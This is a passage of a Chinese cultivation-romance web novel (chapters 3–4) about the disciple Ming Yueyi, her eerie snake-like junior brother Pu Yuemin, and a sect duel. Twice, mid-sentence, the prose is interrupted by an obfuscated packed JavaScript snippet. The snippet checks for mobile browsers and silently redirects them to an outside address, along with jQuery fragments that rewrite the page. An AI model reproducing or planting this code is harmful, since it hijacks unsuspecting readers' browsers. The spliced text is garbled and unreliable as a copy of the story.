《病态师弟今夜又来了》 3. 迷恋 明月夷双手撑住他的肩膀,发现他的虽瞧着瘦弱,她根本就无法推动他,只能任由他埋下头。 少年落下的吻如冰雪,带着点黏黏的湿。 他吻着她的颈子,将她当成一颗快熟烂的果子,吮舔得像能吸出丰沛的汁水,舒服得呻喘如潮。 明月夷呼吸不过来,恐再如此下去,不仅是神交这般简单。 她咬着下唇,抖着手想继续抽金莲。 他似有所感,忽然抬起头望向她的目光很深,瞳色漂亮,满脸的迷离情慾将本就绮丽冷艳的面容衬出几分妖冶。 乍然一看不像是修士,反而浑身皆是原始的妖性。 明月夷被他漂亮的皮囊蛊惑得稍有失神,呆呆的与他对视,抽金莲的动作稍滞。 启唇……亲我,亲我…… 她似乎听见了他在讲话,可他冷薄的唇自始至终不曾动过。 明月夷在他俯首靠来时,张开了咬出深痕的唇,朝他索求似地伸出一截鲜红的舌尖。 少年见此,眼瞳似一瞬间又变成竖立的蛇瞳,很快又恢复如常,快得仿佛只是错觉。 直到他张开唇,吮住她主动伸进来的小舌,明月夷感觉脚腕被什么缠住了。 蛇……!? 明月夷下意识垂下眼睑往脚踝处看去。 不是蛇。 是少年长至脚踝的黑发缠上了她的脚腕,黑如绸缎的乌发好似某种爬行的黏稠动物,随着他的动作一点点缠上她。 黑发白肌,尤为扎眼。 明月夷猛然将金莲从他的仙府中往外抽,即将要被抽出之际,她隐约感觉少年仙府中的灵力,极为不舍地舔了口金莲。 冰凉的湿黏感顺着脊椎往上浮起,瞬间在她的脑中炸开绚烂的白光。 恍惚间,她看见眼前的少年抬起了头,那双漂亮的眼瞳中涣散着舒服的笑意。 明月夷泄力地倒在冰榻上,身上的雾蓝裙衫上搭着少年长长的乌发,如瀑布般往下坠垂地逶迤于地。 一只白得泛冷的手臂搭在她的腰上,骨节分明的指尖粉嫩。 明月夷眨去眼底散开的水光,抖着嘴唇将那只手往身上拉开,翻身想要下去。 可刚神交过的腿软得没有力气,她的足尖甫一落地,整个人险些从冰榻上滚下去。 幸而那只被拉开的手蓦然勾住她的腰带,再将她往榻上一带,这厢方免遭一难。 明月夷顾不及庆幸,侧首便和慵懒地斜倚在一旁,单手撑着侧脸的少年四目相对。 他一眼不眨地盯着她,眼尾红润,眼神单纯得带着初生的无害,好似不知道刚才发生过何事。 该不会他是第一次和人神交吧? 即便她也是,但明月夷还是有占了便宜的错觉,心中无端有种心虚。 “那个……”她开口想解释,出口的嗓音软得自己都沉默了。 他盯着她,等她讲话,好奇的目光落在她虚敛下的眼睫上,以及她红红的唇上。 明月夷没察觉他的眼神发生了微妙的变化,暗自调动灵力。 待到灵力在周身运转一圈,恢复体力恢复正常,她再次开口道:“方才我只是想用浮生查看你体内,是否有妖邪的气息,刚才发生的只是一场意外。” 前段时间浮屠海中出现了一种能寄生人身的妖邪,它们没有实体,没有意识,但寄宿和成长能力极快,若是修仙之人一旦被寄生上,身体会很快被摧毁。 而这种妖邪最喜欢藏在修士的天灵之中,所以当听见他们说菩越悯莫名吐血,她便想查看,谁知道他竟然无师自通的与她神交,也怪不得她占便宜。 只是待她解释完,少年仍没开口。 明月夷从他身边坐起身走出结界,站在冰床边犹豫道:“没在你体内发现什么,应是无甚大碍,吃点丹药调理几日应该就好了。” 菩越悯还是没讲话,卧在冒寒气的病榻上冰肌透白,宛如连眼都不会眨的美丽废物。 明月夷不禁疑心他是哑巴。 她实在记不得接触最多的第一世,他到底会不会讲话。 大抵是不会,不然为何被她困在洞府下的暗室中,却不知开口叫人救他出去,活生生的困死在里面。 虽然他不开口,明月夷谨慎起见,又祭出金莲在他身体周围勘察了一番,这次没再像第一次那样贸然进入他的仙府。 确定真无事后,她转身出去向师傅禀明。 而随着她毫无留恋地转身,冰榻上的少年眼神发生了变化,不再如之前那样平静冷淡,瞳孔黑得发红,身边逶迤的浓密乌发黑似浓黑密林中的冰凉小蛇,散发出阴湿的妖气。 他像蛇一样从榻上游爬在边沿,骨节修长的双手抓住榻沿,盯着她离开的地方,张着殷红的唇吐出了分岔的信子,像是要竭力从喉咙地发出声音。 可是许久没有和人讲过话,他早就忘记了应该怎么发声,学做刚才明月夷讲话时翕合唇瓣,吐出的却只是‘嘶’。 指甲随着他胸口的幅度开始变长,尖锐如鳞角的指甲深深地刺进冰中。 终于,他从胸口发出了模糊的声音。 师姐,别走,我等你很久了。 - 明月夷出去时,师傅应该见鹤无咎都查不出来有何不对便离开了。 倒是鹤无咎还在。 “大师兄。” 青年目光温和的从她身边转圜一圈,温道:“走罢,我们边走边说,师弟现在需要安静。” 明月夷颔首:“嗯。” 两人走出冰凉的洞府。 明月夷转头看了眼身后,道:“师弟的洞府好冷。” 鹤无咎对这位刚入山门的师弟也不是很了解,摇了摇头:“大概是畏热。” 明月夷想到二师兄喜欢在洞府养一些稀奇古怪的东西,遂没再问,侧首看向身边的青年,弯眼恭喜他:“大师兄,你又破境。” 鹤无咎步履稳健,侧首莞尔:“你也是,此趟归来修为又涨了不少。” 明月夷用法器隐藏了修为,就连师傅刚才都没看出来,没想到他随意的一眼便能看出来。 明月夷无奈道:“我就知道,瞒不过大师兄。” 青年闻言脚步骤然停下,身上的长袍被风卷起温柔的弧度。 “师妹。” 明月夷抬眸看他。 他面容模糊在明媚的春阳下,声如碎玉落湖,讲出来却没那般悦耳动听:“还没问你,你身上的是什么气味,很难闻,熏鼻。” 明月夷低头闻了闻,没什么气味,倒是身上似乎沾染了师弟身上的冷香。 她解释:“我刚从百花谷回来,大概是杀蛇妖时,残留在身上的妖血还没有洗干净。” 鹤无咎平淡地‘嗯’了声,从储物袋中拿出一瓶药递给她,“这是我闲来无事炼制的花露,回洞府后你用此物,能掩盖身上的气味。” “多谢师兄。”明月夷接过来,又似想起什么,拿出一只精致的木盒递过去。 “师兄,这是给你的,之前我见你法器上的灵石丢了,所以特地去百花谷给你找回来的。” 她今天一回来着急来找他,便是为了给此物。 鹤无咎打开木匣,看见里面的花形灵石。 他认得此物,是由上百年的花精死后化成的,看成色,应不止百年,许是从除蛇妖时从它洞穴里找到的。 “师妹有心了。”鹤无咎没与她客气,收下灵石。 明月夷见他收下,微微一笑。 历经十次,他喜欢什么,她早就一清二楚了。 “对了师兄,你知道清云师妹在哪里吗?前不久她的仙鹤来找过我,但我用仙鹤定她的方位,却没有找到她,她的传信仙鹤至今还在我这里。”明月夷问道。 鹤无咎道:“她犯错,被关进了悔过崖。” 明月夷诧异:“悔过崖?” 师傅虽然待弟子一向严厉,但没有大过错,是不会惩罚弟子进悔过崖。 “嗯。”鹤无咎颔首,望向天边排排飞过的仙鹤,平静道:“因为小师弟刚来不久,她看上了师弟,要与师弟双修,然后就被关了。” “?”明月夷满目疑惑。 若是说清云师妹想与鹤无咎双手,她倒是能信,前面几世,清云师妹都因为他,而对自己横眉冷对,现在说看上了菩越悯,她第一反应便是不可能。 可她转念又想到方在洞府中看见的少年,又觉得似乎也有可能。 清云师妹想和菩越悯双修被拒,还被关进了悔过崖,大抵不只是邀请这般简单。 鹤无咎解释:“她给小师弟下了迷幻咒,而小师弟刚回来,虽有修仙天赋,但还无法控制体中灵力,导致他灵力暴走,险些出手杀了她,被师傅发现后就关去了悔过崖。” 明月夷温吞抬眸,问道:“只关师妹一个?” 鹤无咎点头:“你也看见了,小师弟因体内灵力失控,现在都还卧在榻上休养生息。” 明月夷咽下口中话,没再继续追问。 因为她也趁师弟虚弱,刚和他来了一场酣畅淋漓的神交。 “师兄,那我去看看师妹。”明月夷道,说不定一会儿她也要住在师妹隔壁的雪牢。 鹤无咎挽留住她:“不必去了,师傅说过,悔过期间不许探视。” “好吧。”看来仙鹤只能先暂且养在她的洞府了。 鹤无咎见她白净的脸颊晕红,不经意问:“师妹可要去洞府饮一杯茶水?” 明月夷原是要拒绝,但话在嘴边转了一圈,再次出口形成了笑音:“好,师兄洞府的茶水我在外面可想了。” 鹤无咎清冷的俊容缓缓柔下,行在前面引路。 明月夷亦步亦趋地跟在他的身后,目光落在青年挺拔的身影上,脸上的笑落下了尘,隐有几分晦涩的淡漠。 被祭剑九次次,这一世她终于悟出来了,鹤无咎修习的无情道,她亦是修习的无情道。 既然都是祭剑,他怎么不能成为被祭剑的那个人呢? 反正她失败了,死了还能再重生。 现在她要做的便是成为鹤无咎的道侣,拿他祭剑,先成大道,再破境飞升撕破位面,找到回去的方法。 跟着鹤无咎去到琉森洞府。 小竹因犯了错,没敢在院中玩剑,一副乖小孩的姿态垂头丧气地靠在墙上。 鹤无咎淡声责备他几句,让他去将后山的雪莲竹茶煮好送来。 小竹见主人没生气,欢欢喜喜地化身小竹子,渗进土地中去找雪莲竹了。 鹤无咎转身见方还站在身后女子此刻已经蹲在了地上。 她鬓边的碎发被风拂过脸颊,面容柔媚得和雾蓝的纱裙一样绽如冰莲。 他看了几息,拾步朝她走去。 察觉他走来,明月夷抬起脸,明媚的眸中全是好奇:“大师兄,小竹经常钻地吗?” 鹤无咎颔首:“嗯。” 明月夷笑道:“难怪,我瞧这地上好多洞,等再下一场春雨,大概会生出许多竹笋。” “想吃?” 鹤无咎抬指,化虚为实,用院中大树将要角落的叶子编织了两只藤椅。 明月夷坐在藤椅上,随着下颌轻点,裙摆轻晃:“想。” “那等到生出竹笋了,我让小竹给你送过来。”鹤无咎坐在她的身边,眉目温柔。 明月夷弯眸笑着:“好,不过我不要大师兄给我挖的,你指定会将老竹笋和坏竹笋一并挖给我,我要自己来选嫩的。” 前几世便是如此,鹤无咎看似脾性温柔,救死扶伤、拯救苍生爱护师门,身上男主该有的品格都一件不落,以至于她在第一世时对他如痴如迷,到了二世都还学不会悔过。 死在他手中第三、第四次后才悔过。 所以头几次栽在鹤无咎的手中并不冤枉。 鹤无咎见她舒服地靠在绿黄的藤椅上,眯着眸儿,春日将脸颊晒得出红晕,不由得失笑问道:“我是这样的人吗?” “是呢。”明月夷煞有其事地点头。 大概是第一世,那时候她对他极为爱慕,为了想要接近他,成为他的道侣,一至春分时节就会借着喜欢吃竹笋的由头来找他要。 不过那时都是他挖好送来的,等她欢喜打开,一箩筐尽是些老得咬不住,坏得冒出腐烂味的竹笋。 就这样的烂东西,她还欢欢喜喜地变着花样炒着,煮着来吃下去。 现在想来,竹笋根本就不是鹤无咎亲自去挖的,是对她早存有不满的小竹做的。 身边没了声儿,明月夷好奇地睁开眼,侧首看向身边的青年。 鹤无咎脸上的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900318|176585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡了些。 “不过师兄平日既要修习,又要代师傅处理宗门事务,还得出去历练,我不好劳烦师兄倒是真的。”明月夷点到为止。 他摇首:“不是什么大事。” “好吧。”明月夷见他坚持,猜想他或许不想让她上门来叨扰便同意了。 鹤无咎周身冷淡的疏离散去,温和得如随风拂面的春日,只是下一息目光倏然一厉。 “师妹,小心!” 随着他的声音落下,长剑从明月夷的侧面险擦而过,冰凉的液体飞溅在她白净的颊边。 一条被斩断成两段蛇落在她的脚边。 鹤无咎用手中剑挑起蛇尾,打量几眼转头见她蹙眉头一副厌恶的神情,不免一笑后温声安慰道:“别怕,已经没有了。” 说完后若有所思地屈膝蹲下,指尖拂过地上蛇首的眼睛,忽然道:“它的眼睛能看见我们。” 明月夷指卷着帕子擦着脸上冰凉黏糊的,盯着地上残留的血:“师兄何意?” 鹤无咎重新解释:“应不是它能看见我们,而是有什么东西正在透过它的眼睛,窥视我们的一举一动。” 明月夷指尖一顿,抬眸看向他道:“师兄怎么发现的?” 她近来实在厌烦这种冷血虫子,不知怎么在哪儿都能碰上。 鹤无咎:“方我们一路过来,我总觉有什么游跟了一路,当时只当做是是山中又有什么成了精怪,没多想,但刚你我讲话之际,我察觉有东西呲了尖锐的毒牙,才发觉原是蛇。” 虽然春季的蛇虫多得数不胜数,但洞府都设有结界,没他的允许,成灵的精怪进不来。 明月夷看着地上那些蛇沉思。 鹤无咎见她盯蛇尸不言,问:“师妹可知和缘故?” 明月夷收回视线,缓缓摇头:“不知,大抵是初春的蛇多罢,我洞府也有,回头师兄也洒些雄黄粉在院中。” 鹤无咎静了须臾,颔首没再问。 小竹很快煮好了茶水端来。 雪莲竹只生长在雪山上,而鹤无咎喜欢雪莲竹便在后山开辟了一处雪山,用一缕灵力养着,这才导致她后山的竹林里全是蛇。 明月夷喝了几口,觉得味道极好,可想到身上还有蛇血的味道没有洗干净,便就没了兴趣。 她搁下茶杯,侧眸看向身边享受春闲的青年:“大师兄,天色不早了,我就先回去了。” 鹤无咎目光落在她只尝了一口的茶杯上,“我让小竹送你。” “好。”明月夷站起身,小竹连忙跟在她的身后。 待到她离去后,院中无了旁人,靠在藤椅上的青年抬起修长的手指,放在石案上只被饮一口的茶杯落在他的手中。 送完人回来的小竹一进院,就看见主人将那只碧绿茶杯置于唇下,舌尖轻点清茶,随后脸上露出沉思。 雪莲竹的茶味没什么不同,她往日都很喜欢,怎会忽然连一杯都喝不完。 不由令他想到她身上的味道。 并非只有蛇血的气味,还有从身体里渗透出的、浓郁的、恶心的交欢甜腥。 他冷漠地敛下眼睑,盯着茶杯中飘起的一抹碧绿雀舌,温润的脸上没了表情。 师妹长大了,不如以前乖,开始学会骗人,也开始学会与人交往了。 站在门口的小竹察觉主人此刻的不悦,吓得浑身竹叶竖立,后背贴在门口将主根渗进地面,化成墙角的一颗瑟瑟发抖的细竹。 - 明月夷回到洞府,召来小竹灵。 “今年竹林中的蛇很多吗?” 刚开智的小竹灵很喜欢修仙者身上浓郁的气味,漂浮在她的周边七嘴八舌地争着开口。 “多,好多呢。” “就跟快要蛇潮一样。” “不知道从哪里爬来的蛇,一窝一窝的,现在连老鼠都不敢在这里打洞了,生怕被那些坏蛇抓来吃了。” “就是,就是,我们小竹子好可怜,根部全是蛇窝。” “还有好多蛇蛋、蛇蘑菇……” 明月夷一壁听它们吵着说,一壁朝着后山的竹林走去。 果然如它们所言,刚走进竹林,就被从上面掉下来的一条青蛇吓了一跳。 明月夷木着脸拔出剑,直接将面前的蛇斩成两截,随后又指挥几下长剑。 剑如残影划过,随后从竹子上陆陆续续掉下好几截被斩杀的蛇。 明月夷挨个用剑将这些蛇的面部摆正,撩开蛇的眼皮。 无一例外,没有红色眼瞳的蛇,就连最初从竹树上掉下来的那条蛇也没红眼球。 可那条蛇最开始落在她眼前时眼珠是血红色的,现在却变成了寻常的黑绿色。 明月夷蹲在蛇尸身边,抿唇看了许久,不免疑心是自己出现了幻觉。 自从出了百花谷,她经常有这种错觉。 蛇出现的次数不仅多了,蛇也变多了,甚至经常能看见那些蛇拥有同一双血红的眼睛,还在注视她。 恶心。 明月夷站起身,将带来的雄黄粉逐个递给小竹灵们:“这是我特地炼制用来驱蛇的,你们可以埋在根部,这样就不必担心蛇在里面打窝了。” “多谢月夷道君。” 小竹灵欢喜地接下,陆陆续续地飞回自己的本体。 明月夷见它们都已经开始埋雄黄粉,没继续在竹林逗留,打算回去将身上的残留的蛇血洗干净。 回到洞府后,明月夷先亲自将洞府打扫一遍,再用师兄给的香精滴在水中将身上残留的蛇血味洗去,已是累得抬不起脚了。 她倒在榻上,抱紧柔软的被褥,沉沉地闭上眼休息。 因在百花谷多日没休息,不久前还不小心与人神交过,她睡得极快。 所以她并未发觉屋外有人。 院中用后院被法器隐藏的地下暗室中,伸出一只好似肉腐后露出腐骨的惨白长手抓住石门,随着门被彻底推开,露出少年姣好的容颜。 他爬上窗,趴在边沿望着不远处躺在榻上的一枕酣甜的女人,黑色的瞳珠渐渐竖立成血红蛇瞳,犹如蛇在蜕皮,一点点顺着爬上微敞的窗。 随着他爬上了女人的床,钻进她的被褥中,亲昵贴在她腹上的脸庞上全是对她的迷恋。 “师姐,我在等你呢,怎么没来……” 4.圣父 师姐,为何没来,我在等你。 师姐…… 沙哑的声音如同从腹中发出来的,闷声闷气得有种古怪的颤意,似是兴奋,又似是在埋怨她。 明月夷猛地睁开眼,喘息着白着脸看向窗外。 此刻外面的天已经大亮,而她的身上并无如藤蔓紧缠她的人。 只是一场梦魇罢了。 明月夷无力坐靠在床边,蹙眉单手捂住胸口,剧烈的心悸仿佛要顶出胸膛。 这些年第一次做如此喘不过气的梦魇。 待胸口的心悸散去,她起身坐在妆案边,余光忽然扫至一旁敞开的窗户,挽发的手一顿。 昨晚是没有关窗吗? 可她明明记得昨晚已经关上了。 明月夷若有所思地咬住发簪,一壁挽发,一壁朝窗走去。 推开窗往外看去。 结界完好,青山绿树,仙雾缭绕一派好景色,除了一只小仙鹤正直径撞在她的结界上,还撞晕之外,没什么不同。 倒是能在每次都在结界上将自己撞晕的小仙鹤,除了二师兄也没旁人了。 明月夷温吞挽好发,走出寝居,站在洞府门口捡起还在地上晕头转向,吐着舌头的小仙鹤。 她思索着拔了它一根毛。 小仙鹤蓦然尖叫着睁开眼。 它看见笑脸盈盈的明月夷,如同见到同类般煽着翅膀开口学人言。 “月夷师妹,汝之师兄今日与人相约般若台比试,速来押注汝兄,必能赚得盆满钵满!速来,师兄:黎长名,留。” 青云宗一共分为四大修系,分别为丹修、剑修、器修、以及符修,焚净峰为青云宗实力最强峰,故而其余几峰的弟子总爱与朝焚净峰投战帖。 不过剑修生性冷淡,寻常不会将时间浪费在门内弟子比拼上。 唯有二师兄,总爱接受其他几峰的弟子战帖,每次还都能赢,根本就没人会买他输比赛。 押二师兄的对手赢,只会是傻子才干得出来。 明月夷大抵是猜出来二师兄又缺灵石了,所以才会想从她身上光明正大的要点。 她没拆穿他,只让仙鹤回复知晓了。 小仙鹤欢喜地飞远。 明月夷御剑跟在身后。 般若台周围已围了许多人。 明月夷走出长廊,美眸打量周围。 寻常二师兄与人比试,因早已知晓结局,除了几位想学二师兄剑法的弟子会来驻足观望,几乎没什么,今日倒是特别。 其他峰的弟子见她过来,皆毕恭毕敬地唤一声‘明师姐’。 明月夷随手拉住一位丹修师妹,问道:“今日是谁和二师兄比试?” 丹修师妹诧异:“明师姐不知吗?黎师兄也是与焚净峰的弟子比试。” 青云宗唯焚净峰的亲传弟子最少,也甚少有过门内弟子相互比试之事发生,故而她们才会过来瞧热闹。 明月夷蹙眉:“焚净峰的弟子?” 鹤无咎从不接战帖,所以不是她,也不会是还在悔过崖的清云师妹,总不能是昨日所见那位,刚拜入师门没多久,瞧着病病殃殃,不适合修剑道,反而适合给人当炉鼎的小师弟:菩越悯? 而丹修师妹下句话坐实了她心中所想。 “就是菩师弟。” 丹修师妹的话音甫一落,前方忽地传来有人的兴奋高呼声。 “菩师弟来了。” 随着一声高喝,方还在面前与她讲话的丹修脸颊霎时一红,也顾不得与她讲话,匆忙朝着人群奔过去。 连着在周围的弟子也相继围了过去,犹如见了什么宝物般,不多时周围便空得只剩下明月夷还站在原地。 明月夷顺着被人群围绕的方向看去。 只见从般若台的尖塔上一只雪白毛发,额间一抹红的丹顶鹤飞来,上方坐着一位纤柔妍丽的少年,长眉横翠,月样仪容,一袭白袍红罩衫使苍白得不正常的肌肤在微光里隐生柔光。 他破过春朝,顶着众人钦羡与爱慕的目光,自般若台而落。 不知是否是明月夷的错觉。 她似感觉从丹顶鹤上下来的少年,抬眸时透过熙熙攘攘的吵闹人群,目光化为实质地落在了她的身上。 正当她欲仔细看,肩膀忽被一柄短剑碰了下。 “师妹,看何处呢,师兄在这儿呢!” 明月夷移开视线,侧首看着眼前玄裳金冠的青年,轻垂乌密睫,盯着肩上堆满华贵珠宝和珍稀灵石的短剑,淡声提醒:“二师兄,剑,别误伤了我。” 黎长名收起短剑,插入剑鞘中,摸着鼻子暗忖,方才是否被师妹骂了。 “师妹,刚才可有押我赢?” 明月夷摇首:“我刚来,师兄,你怎么忽然找小师弟比试?” 是他找小师弟比试,而不是像之前那些人,向他发的战帖。 黎长名耸肩,带着她往另一处走道:“帮清云师妹报仇。” 两人停在开设赌盘的地方。 他道:“马上就要开始了,得赶紧押注我今日会胜,包你赚得盆满钵满,以前亏的一次性赢回来。” 还不待明月夷开口,他就带着她挤进了押注台。 明月夷眺目一觑,从手链上抠出一块指甲大小的灵石,慢吞吞地往灵石多的地方放。 还没放下,手便被挡住了。 明月夷掀眸,不解地看着眼前脸色涨红的黎长名。 黎长名:“师妹!连你也不押我吗?” 明月夷看他的眼神莫名,温声解释:“我是在押你。” 寻常二师兄都会赢,所以押他的人很多,但他赚的并非是押注的灵石,而是答应比试赢后能收到输者的赔礼。 黎长名木着脸,指着案上的名字:“师妹,你再仔细看,如果不是师兄,你的手接下来会放在谁的名上。” 明月夷扫了眼案面。 案上分了两处,一处的灵石堆积如山,看不见底下的名字,而另一处半颗灵石都见不着影,案面上印着‘黎’字。 明月夷讶然看向他:“二师兄,你会输?” 菩越悯不是刚拜师两个月不到吗? 天赋再怎么好,也应是比不过自幼修炼的二师兄,怎会没人押二师兄会赢? 她还当是看错了,又去看了最上方的字。 是押注赢的赌盘。 “我定是不会输的,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908181|176585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以才会叫你来,让我们一起赚。”黎长名用短剑将她的手移放在自己的名上。 明月夷指尖松开,灵石被案上张大嘴的蟾灵吞下。 黎长名又道:“太少了,再多押些,等赚了这些灵石,回头分师兄点,下次有这种好事,师兄还找你。” “嗯。” 稳赚不亏的事,明月夷自不会婉拒,从储物袋中拿出一袋灵石丢进蟾灵的口中。 黎长名瞧了瞧显示出的名字,面色好看了些。 两人押注完,从里面出来。 明月夷转头看了眼身后,还在不断涌上去押菩越悯赢的人,好奇问道:“怎么都押师弟赢?” 黎长名脸上没多少神情,坐在台阶上擦剑,“自是因为喜欢他。” “喜欢他?”明月夷回头。 “嗯。”黎长名点头,道:“你昨日刚回来,不知最近发生的事,自从他拜入师门后,宗门上下没人不喜欢他,做甚都有一堆人围着,就跟被什么妖邪入体了,就连清云师妹也是,见他第一眼就吵着要与他结成道侣双修,现在清云师妹还被关在悔过崖呢。” 刚听见二师兄要与菩越悯比试,她就隐约猜出大抵是因为清云师妹。 但盲目押注明显会输的局,倒是令她有几分诧异,随后那点讶然也散做尘。 明月夷朝人群中看去。 围绕过去的那些人眼中都是狂热和痴迷。 和她记忆里对菩越悯浅薄的印象一样,倒是不愧对她的记忆。 宗门上下见过他的,没几人不喜欢他,无论男女皆对他万分痴迷,而他的脾性应是极好的,至于怎么好,她也记不得太清楚了。 后几世她都没在关注他,一门心思放在如何逃脱剧情,她对他最大的记忆除了囚过他,便剩下一些道听途说。 曾经菩越悯为了救被妖邪入体的同门师兄,活生生掏出本命法器,分出一半给那师兄。 他似乎还被人夺过宝,差点都道陨,结果他醒来后宗主将杀人夺宝之人的处置权交由他,他竟怜悯那人被废黜灵根,挑断手脚筋,今后既不能再修行,即便下山做个普通人也难提重物,而选择不予追究。 不仅如此,她还听说,他还拖着伤病的身亲自相送下山。 明月夷对这种以怨报之仁德之人很不能理解,也幸得他拜入的乃剑修的焚净峰,本就没多少法器能掏,不然宗门上下定会将他当成取宝库。 种种事件在她看来,菩越悯过度良善,实乃天生圣父。 以他这副圣父心肠,在修真界是活不下的。 鼓声长鸣,仙鹤闻声停驻在尖塔的青瓦上。 “好了师妹,我要上台了。”黎长明起身朝着擂台上飞身而去。 少年早已长身玉立在台上,柔似乌绸的长发宛如黑色的披肩逶迤垂坠至脚踝,随着黎长名上台,抬起苍白得病态的手,从虚空中抓出一柄赤色的蛇形长剑。 他目光落在黎长名的身上,薄而偏淡色的嘴角扬起微笑的弧度:“师兄。” 这是明月夷从见面至今,第一次听见他的声音。 说不上多好听,但也不难听,反似许多年没开口讲过话,刚学会怎么发声,有说不出的古怪。